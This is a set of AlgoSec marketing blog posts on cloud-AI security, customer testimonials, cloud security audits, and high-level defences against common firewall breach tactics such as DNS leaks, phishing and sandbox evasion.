Search results

The fusion of Cloud and AI is more than just a technological advancement; it’s a paradigm shift. As businesses harness the combined power... Hybrid Cloud Security Management The confluence of cloud and AI: charting a secure path in the age of intelligent innovation Adel Osta Dadan 2 min read Adel Osta Dadan Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/20/23 Published The fusion of Cloud and AI is more than just a technological advancement; it’s a paradigm shift. As businesses harness the combined power of these transformative technologies, the importance of a security-centric approach becomes increasingly evident. This exploration delves deeper into the strategic significance of navigating the Cloud-AI nexus with a focus on security and innovation. Cloud and AI: catalysts for business transformation The cloud provides the foundational infrastructure, while AI infuses intelligence, making systems smarter and more responsive. Together, they’re reshaping industries, driving efficiencies, and creating new business models. However, with these opportunities come challenges. Ensuring robust security in this intertwined environment is not just a technical necessity but a strategic imperative. As AI algorithms process vast datasets in the cloud, businesses must prioritize the protection and integrity of this data to build and maintain trust. Building trust in intelligent systems In the age of AI, data isn’t just processed; it’s interpreted, analyzed, and acted upon. This autonomous decision-making demands a higher level of trust. Ensuring the confidentiality, integrity, and availability of data in the cloud becomes paramount. Beyond just data protection, it’s about ensuring that AI-driven decisions, which can have real-world implications, are made based on secure and untampered data. This trust forms the bedrock of AI’s value proposition in the cloud. Leadership in the Cloud-AI era Modern leaders are not just visionaries; they’re also gatekeepers. They stand at the intersection of innovation and security, ensuring that as their organizations harness AI in the cloud, ethical considerations and security protocols are front and center. This dual role is challenging but essential. As AI-driven applications become integral to business operations, leaders must champion a culture where security and innovation coexist harmoniously. Seamless integration and the role of DevSecOps Developing AI applications in the cloud is a complex endeavor. It requires a seamless integration of development, operations, and crucially, security. Enter DevSecOps. This approach ensures that security is embedded at every stage of the development lifecycle. From training AI models to deploying them in cloud environments, security considerations are integral, ensuring that the innovations are both groundbreaking and grounded in security. Collaborative security for collective intelligence AI’s strength lies in its ability to derive insights from vast datasets. In the interconnected world of the cloud, data flows seamlessly across boundaries, making collaborative security vital. Protecting this collective intelligence requires a unified approach, where security protocols are integrated across platforms, tools, and teams. Future-proofing the Cloud-AI strategy The technological horizon is ever-evolving. The fusion of Cloud and AI is just the beginning, and as businesses look ahead, embedding security into their strategies is non-negotiable. It’s about ensuring that as new technologies emerge and integrate with existing systems, the foundation remains secure and resilient. AlgoSec’s unique value proposition At AlgoSec, we understand the intricacies of the Cloud-AI landscape. Our application-based approach ensures that businesses have complete visibility into their digital assets. With AlgoSec, organizations gain a clear view of their application connectivity, ensuring that security policies align with business processes. As AI integrates deeper into cloud strategies, AlgoSec’s solutions empower businesses to innovate confidently, backed by a robust security framework. Our platform provides holistic, business-level visibility across the entire network infrastructure. With features like AlgoSec AppViz and AppChange, businesses can seamlessly identify network security vulnerabilities, plan migrations, accelerate troubleshooting, and adhere to the highest compliance standards. By taking an application-centric approach to security policy management, AlgoSec bridges the gap between IT teams and application delivery teams, fostering collaboration and ensuring a heightened security posture. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

In this guest blog, Jeff Yager from IT Central Station describes how AlgoSec is perceived by real users and shares how the solution meets... Security Policy Management Taking Control of Network Security Policy Jeff Yeger 2 min read Jeff Yeger Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/30/21 Published In this guest blog, Jeff Yager from IT Central Station describes how AlgoSec is perceived by real users and shares how the solution meets their expectations for visibility and monitoring. Business-driven visibility A network and security engineer at a comms service provider agreed, saying, “ The complete and end-to-end visibility and analysis [AlgoSec] provides of the policy rule base is invaluable and saves countless time and effort .” On a related front, according to Srdjan, a senior technical and integration designer at a major retailer, AlgoSec provides a much easier way to process first call resolutions (FCRs) and get visibility into traffic. He said, “With previous vendors, we had to guess what was going on with our traffic and we were not able to act accordingly. Now, we have all sorts of analyses and reports. This makes our decision process, firewall cleanup, and troubleshooting much easier.” Organizations large and small find it imperative to align security with their business processes. AlgoSec provides unified visibility of security across public clouds, software-defined and on-premises networks, including business applications and their connectivity flows. For Mark G., an IT security manager at a sports company, the solution handles rule-based analysis . He said, “AlgoSec provides great unified visibility into all policy packages in one place. We are tracking insecure changes and getting better visibility into network security environment – either on-prem, cloud or mixed.” Notifications are what stood out to Mustafa K., a network security engineer at a financial services firm. He is now easily able to track changes in policies with AlgoSec , noting that “with every change, it automatically sends an email to the IT audit team and increases our visibility of changes in every policy.” Security policy and network analysis AlgoSec’s Firewall Analyzer delivers visibility and analysis of security policies, and enables users to discover, identify, and map business applications across their entire hybrid network by instantly visualizing the entire security topology – in the cloud, on-premises, and everything in between. “It is definitely helpful to see the details of duplicate rules on the firewall,” said Shubham S., a senior technical consultant at a tech services company. He gets a lot of visibility from Firewall Analyzer. As he explained, “ It can define the connectivity and routing . The solution provides us with full visibility into the risk involved in firewall change requests.” A user at a retailer with more than 500 firewalls required automation and reported that “ this was the best product in terms of the flexibility and visibility that we needed to manage [the firewalls] across different regions . We can modify policy according to our maintenance schedule and time zones.” A network & collaboration engineer at a financial services firm likewise added that “ we now have more visibility into our firewall and security environment using a single pane of glass. We have a better audit of what our network and security engineers are doing on each device and are now able to see how much we are compliant with our baseline.” Arieh S., a director of information security operations at a multinational manufacturing company, also used Tufin, but prefers AlgoSec, which “ provides us better visibility for high-risk firewall rules and ease of use.” “If you are looking for a tool that will provide you clear visibility into all the changes in your network and help people prepare well with compliance, then AlgoSec is the tool for you,” stated Miracle C., a security analyst at a security firm. He added, “Don’t think twice; AlgoSec is the tool for any company that wants clear analysis into their network and policy management.” Monitoring and alerts Other IT Central Station members enjoy AlgoSec’s monitoring and alerts features. Sulochana E., a senior systems engineer at an IT firm, said, “ [AlgoSec] provides real-time monitoring , or at least close to real time. I think that is important. I also like its way of organizing. It is pretty clear. I also like their reporting structure – the way we can use AlgoSec to clear a rule base, like covering and hiding rules.” For example, if one of his customers is concerned about different standards , like ISO or PZI levels, they can all do the same compliance from AlgoSec. He added, “We can even track the change monitoring and mitigate their risks with it. You can customize the workflows based on their environment. I find those features interesting in AlgoSec.” AlgoSec helps in terms of firewall monitoring. That was the use case that mattered for Alberto S., a senior networking engineer at a manufacturing company. He said, “ Automatic alerts are sent to the security team so we can react quicker in case something goes wrong or a threat is detected going through the firewall. This is made possible using the simple reports.” Sulochana E. concluded by adding that “AlgoSec has helped to simplify the job of security engineers because you can always monitor your risks and know that your particular configurations are up-to-date, so it reduces the effort of the security engineers.” To learn more about what IT Central Station members think about AlgoSec, visit our reviews page . To schedule your personal AlgoSec demo or speak to an AlgoSec security expert, click here . Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security... Cloud Security What is a Cloud Security Audit? (and How to Conduct One) Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/23/23 Published Featured Snippet A cloud security audit is a review of an organization’s cloud security environment. During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. PAA: What is the objective of a cloud security audit? The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. PAA: What are three key areas of auditing in the cloud? From the list of “6 Fundamental Steps of a Cloud Security Audit.” Inspect the security posture Determine the attack surface Implement strict access controls PAA: What are the two types of security audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. PAA: How do I become a cloud security auditor? To become a cloud security auditor, you need a certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Cloud environments are used to store over 60 percent of all corporate data as of 2022. With so much data in the cloud, organizations rely on cloud security audits to ensure that cloud services can safely provide on-demand access. In this article, we explain what a cloud security audit is, its main objectives, and its benefits. We’ve also listed the six crucial steps of a cloud audit and a checklist of example actions taken during an audit. What Is a Cloud Security Audit? A cloud security audit is a review of an organization’s cloud security environment . During an audit, the security auditor will gather information, perform tests, and confirm whether the security posture meets industry standards. Cloud service providers (CSPs) offer three main types of services: Software as a Service (SaaS) Infrastructure as a Service (IaaS) Platform as a Service (PaaS) Businesses use these solutions to store data and drive daily operations. A cloud security audit evaluates a CSP’s security and data protection measures. It can help identify and address any risks. The audit assesses how secure, dependable, and reliable a cloud environment is. Cloud audits are an essential data protection measure for companies that store and process data in the cloud. An audit assesses the security controls used by CSPs within the company’s cloud environment. It evaluates the effectiveness of the CSP’s security policies and technical safeguards. Auditors identify vulnerabilities, gaps, or noncompliance with regulations. Addressing these issues can prevent data breaches and exploitation via cybersecurity attacks. Meeting mandatory compliance standards will also prevent potentially expensive fines and being blacklisted. Once the technical investigation is complete, the auditor generates a report. This report states their findings and can have recommendations to optimize security. An audit can also help save money by finding unused or redundant resources in the cloud system. Main Objectives of a Cloud Security Audit The main objective of a cloud security audit is to evaluate the health of your cloud environment, including any data and applications hosted on the cloud. Other important objectives include: Decide the information architecture: Audits help define the network, security, and systems requirements to secure information. This includes data at rest and in transit. Align IT resources: A cloud audit can align the use of IT resources with business strategies. Identify risks: Businesses can identify risks that could harm their cloud environment. This could be security vulnerabilities, data access errors, and noncompliance with regulations. Optimize IT processes: An audit can help create documented, standardized, and repeatable processes, leading to a secure and reliable IT environment. This includes processes for system ownership, information security, network access, and risk management. Assess vendor security controls: Auditors can inspect the CSP’s security control frameworks and reliability. What Are the Two Types of Cloud Security Audits? Security audits come in two forms: internal and external. In internal audits, a business uses its resources and employees to conduct the investigation. In external audits, a third-party organization is hired to conduct the audit. The internal audit team reviews the organization’s cloud infrastructure and data. They aim to identify any vulnerabilities or compliance issues. A third-party auditor will do the same during an external audit. Both types of audits provide an objective assessment of the security posture . But internal audits are rare since there is a higher chance of prejudice during analysis. Who Provides Cloud Security Audits? Cloud security assessments are provided by: Third-party auditors: Independent third-party audit firms that specialize in auditing cloud ecosystems. These auditors are often certified and experienced in CSP security policies. They also use automated and manual security testing methods for a comprehensive evaluation. Some auditing firms extend remediation support after the audit. Cloud service providers: Some cloud platforms offer auditing services and tools. These tools vary in the depth of their assessments and the features they provide to fix problems. Internal audit teams: Many organizations use internal audit teams. These teams assess the controls and processes using CSPM tools . They provide recommendations for improving security and mitigating risks. Why Cloud Security Audits Are So Important Here are eight ways in which security audits of cloud services are performed: Identify security risks: An audit can identify potential security risks. This includes weaknesses in the cloud infrastructure, apps, APIs, or data. Recognizing and fixing these risks is critical for data protection. Ensure compliance: Audits help the cloud environment comply with regulations like HIPAA, PCI DSS, and ISO 27001. Compliance with these standards is vital for avoiding legal and financial penalties. Optimize cloud processes: An audit can help create efficient processes using fewer resources. There is also a decreased risk of breakdowns or malfunctions. Manage access control: Employees constantly change positions within the company or leave. With an audit, businesses can ensure that everyone has the right level of access. For example, access is completely removed for former employees. Auditing access control verifies if employees can safely log in to cloud systems. This is done via two-step authentication, multi-factor authentication, and VPNs. Assess third-party tools: Multi-vendor cloud systems include many third-party tools and API integrations. An audit of these tools and APIs can check if they are safe. It can also ensure that they do not compromise overall security. Avoid data loss: Audits help companies identify areas of potential data loss. This could be during transfer or backup or throughout different work processes. Patching these areas is vital for data safety. Check backup safety: Cloud vendors offer services to back up company data regularly. An audit of backup mechanisms can ensure they are performed at the right frequency and without any flaws. Proactive risk management: Organizations can address potential risks before they become major incidents. Taking proactive action can prevent data breaches, system failures, and other incidents that disrupt daily operations. Save money: Audits can help remove obsolete or underused resources in the cloud. Doing this saves money while improving performance. Improve cloud security posture: Like an IT audit, a cloud audit can help improve overall data confidentiality, integrity, and availability. How Is a Cloud Security Audit Conducted? The exact audit process varies depending on the specific goals and scope. Typically, an independent third party performs the audit. It inspects a cloud vendor’s security posture. It assesses how the CSP implements security best practices and whether it adheres to industry standards. It also evaluates performance against specific benchmarks set before the audit. Here is a general overview of the audit process: Define the scope: The first step is to define the scope of the audit. This includes listing the CSPs, security controls, processes, and regulations to be assessed. Plan the audit: The next step is to plan the audit. This involves establishing the audit team, a timeline, and an audit plan. This plan outlines the specific tasks to be performed and the evaluation criteria. Collect information: The auditor can collect information using various techniques. This includes analytics and security tools, physical inspections, questioning, and observation. Review and analyze: The auditor reviews all the information to evaluate the security posture. Create an audit report: An audit report summarizes findings and lists any issues. It is presented to company management at an audit briefing. The report also provides actions for improvement. Take action: Companies form a team to address issues in the audit report. This team performs remediation actions. The audit process could take 12 weeks to complete. However, it could take longer for businesses to complete the recommended remediation tasks. The schedule may be extended if a gap analysis is required. Businesses can speed up the audit process using automated security tools . This software quickly provides a unified view of all security risks across multiple cloud vendors. Some CSPs, like Amazon Web Services (AWS) and Microsoft Azure, also offer auditing tools. These tools are exclusive to each specific platform. The price of a cloud audit varies based on its scope, the size of the organization, and the number of cloud platforms. For example, auditing one vendor could take four or five weeks. But a complex web with multiple vendors could take more than 12 weeks. 6 Fundamental Steps of a Cloud Security Audit Six crucial steps must be performed in a cloud audit: 1. Evaluate security posture Evaluate the security posture of the cloud system . This includes security controls, policies, procedures, documentation, and incident response plans. The auditor can interview IT staff, cloud vendor staff, and other stakeholders to collect evidence about information systems. Screenshots and paperwork are also used as proof. After this process, the auditor analyzes the evidence. They check if existing procedures meet industry guidelines, like the ones provided by Cloud Security Alliance (CSA). 2. Define the attack surface An attack surface includes all possible points, or attack vectors, through which unauthorized users can access and exploit a system. Since cloud solutions are so complex, this can be challenging. Organizations must use cloud monitoring and observability technologies to determine the attack surface. They must also prioritize high-risk assets and focus their remediation efforts on them. Auditors must identify all the applications and assets running within cloud instances and containers. They must check if the organization approves these or if they represent shadow IT. To protect data, all workloads within the cloud system must be standardized and have up-to-date security measures. 3. Implement robust access controls Access management breaches are a widespread security risk. Unauthorized personnel can get credentials to access sensitive cloud data using various methods. To minimize security issues related to unauthorized access, organizations must: Create comprehensive password guidelines and policies Mandate multi-factor authentication (MFA) Use the Principle of Least Privilege Access (PoLP) Restrict administrative rights 4. Strict data sharing standards Organizations must install strong standards for external data access and sharing. These standards dictate how data is viewed and accessed in shared drives, calendars, and folders. Start with restrictive standards and then loosen up restrictions when necessary. External access should not be provided to files and folders containing sensitive data. This includes personally identifiable information (PII) and protected health information (PHI). 5. Use SIEM Security Information and Event Management (SIEM) systems can collect cloud logs in a standardized format. This allows editors to access logs and automatically generates reports necessary for different compliance standards. This helps organizations maintain compliance with industry security standards. 6. Automate patch management Regular security patches are crucial. However, many organizations and IT teams struggle with patch management. To create an efficient patch management process, organizations must: Focus on the most crucial patches first Regularly patch valuable assets using automation Add manual reviews to the automated patching process to ensure long-term security How Often Should Cloud Security Audits Be Conducted? As a general rule of thumb, audits are conducted annually or biannually. But an audit should also be performed when: Mandated by regulatory standards. For example, Level 1 businesses must pass at least one audit per year to remain PCI DSS compliant. There is a higher risk level. Organizations storing sensitive data may need more frequent audits. There are significant changes to the cloud environment. Ultimately, the frequency of audits depends on the organization’s specific needs. The Major Cloud Security Audit Challenges Here are some of the major challenges that organizations may face: Lack of visibility Cloud infrastructures can be complex with many services and applications across different providers. Each cloud vendor has their own security policies and practices. They also provide limited access to operational and forensic data required for auditing. This lack of transparency prevents auditors from accessing pertinent data. To gather all relevant data, IT operations staff must coordinate with CSPs. Auditors must also carefully choose test cases to avoid violating the CSP’s security policies. Encryption Data in the cloud is encrypted using two methods — internal or provider encryption. Internal or on-premise encryption is when organizations encrypt data before it is transferred to the cloud. Provider encryption is when the CSP handles encryption. With on-premise encryption, the primary threat comes from malicious internal actors. In the latter method, any security breach of the cloud provider’s network can harm your data. From an auditing standpoint, it is best to encrypt data and manage encryption keys internally. If the CSP handles the encryption keys, auditing becomes nearly impossible. Colocation Many cloud providers use the same physical systems for multiple user organizations. This increases the security risk. It also makes it challenging for auditors to inspect physical locations. Organizations should use cloud vendors that use mechanisms to prevent unauthorized data access. For example, a cloud vendor must prevent users from claiming administrative rights to the entire system. Lack of standardization Cloud environments have ever-increasing entities for auditors to inspect. This includes managed databases, physical hosts, virtual machines (VMs), and containers. Auditing all these entities can be difficult, especially when there are constant changes to the entities. Standardized procedures and workloads help auditors identify all critical entities within cloud systems. Cloud Security Audit Checklist Here is a cloud security audit checklist with example actions taken for each general control area: The above list is not all-inclusive. Each cloud environment and process involved in auditing it is different. Industry Standards To Guide Cloud Security Audits Industry groups have created security standards to help companies maintain their security posture. Here are the five most recognized standards for cloud compliance and auditing: CSA Security, Trust, & Assurance Registry (STAR): This is a security assurance program run by the CSA. The STAR program is built on three fundamental techniques: CSA’s Cloud Control Matrix (CCM) Consensus Assessments Initiative Questionnaire (CAIQ) CSA’s Code of Conduct for GDPR Compliance CSA also has a registry of CSPs who have completed a self-assessment of their security controls. The program includes guidelines that can be used for cloud audits. ISO/IEC 27017:2015: The ISO/IEC 27017:2015 are guidelines for information security controls in cloud computing environments. ISO/IEC 27018:2019: The ISO/IEC 27018:2019 provides guidelines for protecting PII in public cloud computing environments. MTCS SS 584: Multi-Tier Cloud Security (MTCS) SS 584 is a cloud security standard developed by the Infocomm Media Development Authority (IMDA) of Singapore. The standard has guidelines for CSPs on information security controls.Cloud customers and auditors can use it to evaluate the security posture of CSPs. CIS Foundations Benchmarks: The Center for Internet Security (CIS) Foundations Benchmarks are guidelines for securing IT systems and data. They help organizations of all sizes improve their security posture. Final Thoughts on Cloud Security Audits Cloud security audits are crucial for ensuring your cloud systems are secure and compliant. This is essential for data protection and preventing cybersecurity attacks. Auditors must use modern monitoring and CSPM tools like Prevasio to easily identify vulnerabilities in multi-vendor cloud environments. This software leads to faster audits and provides a unified view of all threats, making it easier to take relevant action. FAQs About Cloud Security Audits How do I become a cloud security auditor? To become a cloud security auditor, you need certification like the Certificate of Cloud Security Knowledge (CCSK) or Certified Cloud Security Professional (CCSP). Prior experience in IT auditing, cloud security management, and cloud risk assessment is highly beneficial. Other certifications like the Certificate of Cloud Auditing Knowledge (CCAK) by ISACA and CSA could also help. In addition, knowledge of security guidelines and compliance frameworks, including PCI DSS, ISO 27001, SOC 2, and NIST, is also required. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Properly configured firewalls are vital in any comprehensive cybersecurity strategy. However, even the most robust configurations can be... Uncategorized How To Prevent Firewall Breaches (The 2024 Guide) Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 1/11/24 Published Properly configured firewalls are vital in any comprehensive cybersecurity strategy. However, even the most robust configurations can be vulnerable to exploitation by attackers. No single security measure can offer absolute protection against all cyber threats and data security risks . To mitigate these risks, it’s crucial to understand how cybercriminals exploit firewall vulnerabilities. The more you know about their tactics, techniques, and procedures, the better-equipped you are to implement security policies that successfully block unauthorized access to network assets. In this guide, you’ll understand the common cyber threats that target enterprise firewall systems with the goal of helping you understand how attackers exploit misconfigurations and human vulnerabilities. Use this information to protect your network from a firewall breach. Understanding 6 Tactics Cybercriminals Use to Breach Firewalls 1. DNS Leaks Your firewall’s primary use is making sure unauthorized users do not gain access to your private network and the sensitive information it contains. But firewall rules can go both ways – preventing sensitive data from leaving the network is just as important. If enterprise security teams neglect to configure their firewalls to inspect outgoing traffic, cybercriminals can intercept this traffic and use it to find gaps in your security systems. DNS traffic is particularly susceptible to this approach because it shows a list of websites users on your network regularly visit. A hacker could use this information to create a spoofed version of a frequently visited website. For example, they might notice your organization’s employees visit a third-party website to attend training webinars. Registering a fake version of the training website and collecting employee login credentials would be simple. If your firewall doesn’t inspect DNS data and confirm connections to new IP addresses, you may never know. DNS leaks may also reveal the IP addresses and endpoint metadata of the device used to make an outgoing connection. This would give cybercriminals the ability to see what kind of hardware your organization’s employees use to connect to external websites. With that information in hand, impersonating managed service providers or other third-party partners is easy. Some DNS leaks even contain timestamp data, telling attackers exactly when users requested access to external web assets. How to protect yourself against DNS leaks Proper firewall configuration is key to preventing DNS-related security incidents. Your organization’s firewalls should provide observability and access control to both incoming and outgoing traffic. Connections to servers known for hosting malware and cybercrime assets should be blocked entirely. Connections to servers without a known reputation should be monitored closely. In a Zero Trust environment , even connections to known servers should benefit from scrutiny using an identity-based security framework. Don’t forget that apps can connect to external resources, too. Consider deploying web application firewalls configured to prevent DNS leaks when connecting to third-party assets and servers. You may also wish to update your security policy to require employees to use VPNs when connecting to external resources. An encrypted VPN connection can prevent DNS information from leaking, making it much harder for cybercriminals to conduct reconnaissance on potential targets using DNS data. 2. Encrypted Injection Attacks Older, simpler firewalls analyze traffic by looking at different kinds of data packet metadata. This provides clear evidence of certain denial-of-service attacks, clear violations of network security policy , and some forms of malware and ransomware . They do not conduct deep packet inspection to identify the kind of content passing through the firewall. This provides cybercriminals with an easy way to bypass firewall rules and intrusion prevention systems – encryption . If malicious content is encrypted before it hits the firewall, it may go unnoticed by simple firewall rules. Only next-generation firewalls capable of handling encrypted data packets can determine whether this kind of traffic is secure or not. Cybercriminals often deliver encrypted injection attacks through email. Phishing emails may trick users into clicking on a malicious link that injects encrypted code into the endpoint device. The script won’t decode and run until after it passes the data security threshold posed by the firewall. After that, it is free to search for personal data, credit card information, and more. Many of these attacks will also bypass antivirus controls that don’t know how to handle encrypted data. Task automation solutions like Windows PowerShell are also susceptible to these kinds of attacks. Even sophisticated detection-based security solutions may fail to recognize encrypted injection attacks if they don’t have the keys necessary to decrypt incoming data. How to protect yourself against encrypted injection attacks Deep packet inspection is one of the most valuable features next-generation firewalls provide to security teams. Industry-leading firewall vendors equip their products with the ability to decrypt and inspect traffic. This allows the firewall to prevent malicious content from entering the network through encrypted traffic, and it can also prevent sensitive encrypted data – like login credentials – from leaving the network. These capabilities are unique to next-generation firewalls and can’t be easily replaced with other solutions. Manufacturers and developers have to equip their firewalls with public-key cryptography capabilities and obtain data from certificate authorities in order to inspect encrypted traffic and do this. 3. Compromised Public Wi-Fi Public Wi-Fi networks are a well-known security threat for individuals and organizations alike. Anyone who logs into a password-protected account on public Wi-Fi at an airport or coffee shop runs the risk of sending their authentication information directly to hackers. Compromised public Wi-Fi also presents a lesser-known threat to security teams at enterprise organizations – it may help hackers breach firewalls. If a remote employee logs into a business account or other asset from a compromised public Wi-Fi connection, hackers can see all the data transmitted through that connection. This may give them the ability to steal account login details or spoof endpoint devices and defeat multi-factor authentication. Even password-protected private Wi-Fi connections can be abused in this way. Some Wi-Fi networks still use outdated WEP and WPA security protocols that have well-known vulnerabilities. Exploiting these weaknesses to take control of a WEP or WPA-protected network is trivial for hackers. The newer WPA2 and WPA3 standards are much more resilient against these kinds of attacks. While public Wi-Fi dangers usually bring remote workers and third-party service vendors to mind, on-premises networks are just as susceptible. Nothing prevents a hacker from gaining access to public Wi-Fi networks in retail stores, receptions, or other areas frequented by customers and employees. How to protect yourself against compromised public Wi-Fi attacks First, you must enforce security policies that only allow Wi-Fi traffic secured by WPA2 and WPA3 protocols. Hardware Wi-Fi routers that do not support these protocols must be replaced. This grants a minimum level of security to protected Wi-Fi networks. Next, all remote connections made over public Wi-Fi networks must be made using a secure VPN. This will encrypt the data that the public Wi-Fi router handles, making it impossible for a hacker to intercept without gaining access to the VPN’s secret decryption key. This doesn’t guarantee your network will be safe from attacks, but it improves your security posture considerably. 4. IoT Infrastructure Attacks Smartwatches, voice-operated speakers, and many automated office products make up the Internet of Things (IoT) segment of your network. Your organization may be using cloud-enriched access control systems, cost-efficient smart heating systems, and much more. Any Wi-Fi-enabled hardware capable of automation can safely be included in this category. However, these devices often fly under the radar of security team’s detection tools, which often focus on user traffic. If hackers compromise one of these devices, they may be able to move laterally through the network until they arrive at a segment that handles sensitive information. This process can take time, which is why many incident response teams do not consider suspicious IoT traffic to be a high-severity issue. IoT endpoints themselves rarely process sensitive data on their own, so it’s easy to overlook potential vulnerabilities and even ignore active attacks as long as the organization’s mission-critical assets aren’t impacted. However, hackers can expand their control over IoT devices and transform them into botnets capable of running denial-of-service attacks. These distributed denial-of-service (DDoS) attacks are much larger and more dangerous, and they are growing in popularity among cybercriminals. Botnet traffic associated with DDoS attacks on IoT networks has increased five-fold over the past year , showing just how promising it is for hackers. How to protect yourself against IoT infrastructure attacks Proper network segmentation is vital for preventing IoT infrastructure attacks . Your organization’s IoT devices should be secured on a network segment that is isolated from the rest of the network. If attackers do compromise the entire network, you should be protected from the risk of losing sensitive data from critical business assets. Ideally, this protection will be enforced with a strong set of firewalls managing the connection between your IoT subnetwork and the rest of your network. You may need to create custom rules that take your unique security risk profile and fleet of internet-connected devices into account. There are very few situations in which one-size-fits-all rulemaking works, and this is not one of them. All IoT devices – no matter how small or insignificant – should be protected by your firewall and other cybersecurity solutions . Never let these devices connect directly to the Internet through an unsecured channel. If they do, they provide attackers with a clear path to circumvent your firewalls and gain access to the rest of your network with ease. 5. Social Engineering and Phishing Social engineering attacks refer to a broad range of deceptive practices used by hackers to gain access to victims’ assets. What makes this approach special is that it does not necessarily depend on technical expertise. Instead of trying to hack your systems, cybercriminals are trying to hack your employees and company policies to carry out their attacks. Email phishing is one of the most common examples. In a typical phishing attack , hackers may spoof an email server to make it look like they are sending emails from a high-level executive in the company you work for. They can then impersonate this executive and demand junior accountants pay fictitious invoices or send sensitive customer data to email accounts controlled by threat actors. Other forms of social engineering can use your organization’s tech support line against itself. Attackers may pretend to represent large customer accounts and will leverage this ruse to gain information about how your company works. They may impersonate a third-party vendor and request confidential information that the vendor would normally have access to. These attacks span the range from simple trickery to elaborate confidence scams. Protecting against them can be incredibly challenging, and your firewall capabilities can make a significant difference in your overall state of readiness. How to protect yourself against social engineering attacks Employee training is the top priority for protecting against social engineering attacks . When employees understand the company’s operating procedures and security policies, it’s much harder for social engineers to trick them. Ideally, training should also include in-depth examples of how phishing attacks work, what they look like, and what steps employees should take when contacted by people they don’t trust. 6. Sandbox Exploits Many organizations use sandbox solutions to prevent file-based malware attacks. Sandboxes work by taking suspicious files and email attachments and opening them in a secure virtual environment before releasing them to users. The sandbox solution will observe how the file behaves and quarantine any file that shows malicious activity. In theory, this provides a powerful layer of defense against file-based attacks. But in practice, cybercriminals are well aware of how to bypass these solutions. For example, many sandbox solutions can’t open files over a certain size. Hackers who attach malicious code to large files can easily get through. Additionally, many forms of malware do not start executing malicious tasks the second they are activated. This delay can provide just enough of a buffer to get through a sandbox system. Some sophisticated forms of malware can even detect when they are being run in a sandbox environment – and will play the part of an innocent program until they are let loose inside the network. How to protect yourself against sandbox exploits Many next-generation firewalls include cloud-enabled sandboxing capable of running programs of arbitrary size for a potentially unlimited amount of time. More sophisticated sandbox solutions go to great lengths to mimic the system specifications of an actual endpoint so malware won’t know it is being run in a virtual environment. Organizations may also be able to overcome the limitations of the sandbox approach using Content Disarm and Reconstruction (CDR) techniques. This approach keeps potentially malicious files off the network entirely and only allows a reconstructed version of the file to enter the network. Since the new file is constructed from scratch, it will not contain any malware that may have been attached to the original file. Prevent firewall breaches with AlgoSec Managing firewalls manually can be overwhelming and time-consuming – especially when dealing with multiple firewall solutions. With the help of a firewall management solution , you easily configure firewall rules and manage configurations from a single dashboard. AlgoSec’s powerful firewall management solution integrates with your firewalls to deliver unified firewall policy management from a single location, thus streamlining the entire process. With AlgoSec, you can maintain clear visibility of your firewall ruleset, automate the management process, assess risk & optimize rulesets, streamline audit preparation & ensure compliance, and use APIs to access many features through web services. Schedule a demo Related Articles 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

AlgoSec Values Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

